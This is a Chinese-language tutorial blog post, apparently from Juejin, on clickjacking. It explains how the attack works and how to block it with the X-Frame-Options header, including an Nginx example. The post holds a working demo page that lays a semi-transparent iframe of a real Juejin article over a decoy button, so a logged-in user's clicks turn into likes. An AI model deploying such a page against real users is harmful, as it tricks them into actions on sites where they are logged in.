点击劫持攻击

概述

点击劫持攻击(clickjacking)是一种欺诈性攻击方式,攻击者利用透明层让用户在不自知的情况下点击一个隐藏的页面元素。这种攻击可以导致用户无意中批准恶意活动,例如给攻击者的文章点赞或泄露敏感信息。

原理

点击劫持攻击听起来好像很厉害的黑客手段,但是其原理十分简单:

  1. 攻击者首先创建一个含有恶意代码的网页。
  2. 该网页中会包含一个透明的<iframe>元素,这个<iframe>中加载的是目标网站页面。
  3. 攻击者在自己的网页上添加诱饵,例如看起来正常的按钮或链接,它们在位置上与<iframe>中的元素重叠。
  4. 用户在点击诱饵,例如认为自己在进行正常操作时(如"提交"按钮),实际上点击的却是另一个透明<iframe>中的元素,导致攻击者可以捕获点击操作并触发不良动作。

如下图所示,攻击者可能会在灰色按钮上放置一个透明的<iframe>。当用户认为点击的是本网站的按钮时,其实触发了隐藏在<iframe>中的红色按钮。

攻击演示

为了展示点击劫持的效果,我们创建了一个恶意演示页面,并将 iframe 的透明度设置成 0.2。同时假设用户已经登录了掘金,并保持了登录状态,此时任何在恶意网站页面点击按钮操作,都会直接变成了掘金的点赞操作。

代码实现

html 复制代码
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <style>
    html,
    body {
      height: 100%;
      padding: 0;
      margin: 0;
      overflow: hidden;
    }

    .iframe {
      width: 100%;
      height: 100%;
      border: 0;
      padding: 0;
      margin: 0;
      opacity: 0.2;
      z-index: 2;
    }

    .box {
      position: fixed;
      left: 168px;
      top: 140px;
      z-index: 0;
    }

    .box .button {
      width: 50px;
      height: 50px;
      border-radius: 50%;
      border: 2px solid #e2e2e2;
      background: #fff;
      color: #333;
      margin: 0;
      padding: 0;
    }
  </style>
</head>

<body>
  <div class="box">
    <button class="button">🐂</button>
  </div>
  <iframe src="https://juejin.cn/post/7332735079162593315" frameborder="0" class="iframe"></iframe>
</body>

</html>

防御攻击

要抵御点击劫持,最有效的方法是使用X-Frame-Options HTTP头。可以在服务器响应中设置,以阻止或允许页面嵌入<iframe>中。

注意 : 它必须设置在 HTTP header 中才有效,在 HTML 设置 <meta> 标签是不生效的。

例如:<meta http-equiv="X-Frame-Options"...> 是没有作用的。

这个 header 包含 3 种值:

  • DENY: 始终禁止在 frame 中显示此页面,即便是同域名下的页面也不允许嵌套。
  • SAMEORIGIN: 只允许与页面同源的<iframe>中显示页面。
  • ALLOW-FROM url: 允许指定域的<iframe>中显示页面(已废弃,不推荐使用)

Nginx 配置示例

nginx 复制代码
location / {
    # 设置 X-Frame-Options
    add_header X-Frame-Options SAMEORIGIN always; 
    # 其他配置...
}

参考资料

  1. OWASP. (n.d.). Clickjacking. www.owasp.org/index.php/C...
  2. Mozilla Developer Network. (n.d.). X-Frame-Options. developer.mozilla.org/en-US/docs/...
  3. Content Security Policy (CSP) - HTTP | MDN. developer.mozilla.org/en-US/docs/...
相关推荐
YAY_tyy1 小时前
Vue3 + Three.js 实战:自定义 3D 模型加载与交互全流程
前端·javascript·vue.js·threejs
星河耀银海1 小时前
3D效果:HTML5 WebGL结合AI实现智能3D场景渲染
前端·人工智能·深度学习·3d·html5·webgl
美狐美颜sdk6 小时前
从人脸关键点到动态贴图:面具特效在美颜SDK中的实现原理
前端·图像处理·人工智能·直播美颜sdk·美颜api
我命由我123456 小时前
React Router 6 - 编程式路由导航、useInRouterContext、useNavigationType
前端·javascript·react.js·前端框架·html·ecmascript·js
威联通网络存储6 小时前
告别掉帧与素材损毁:威联通 QuTS hero 如何重塑影视后期协同工作流
前端·网络·人工智能·python
anOnion6 小时前
构建无障碍组件之Tabs Pattern
前端·html·交互设计
一招定胜负7 小时前
课堂教学质量综合评分系统
java·linux·前端
2301_780669868 小时前
前端logo替换开发
前端·vue.js
启山智软8 小时前
【启山智软智能商城系统技术架构剖析】
java·前端·架构
我命由我123458 小时前
React Router 6 - 嵌套路由、路由传递参数
前端·javascript·react.js·前端框架·html·ecmascript·js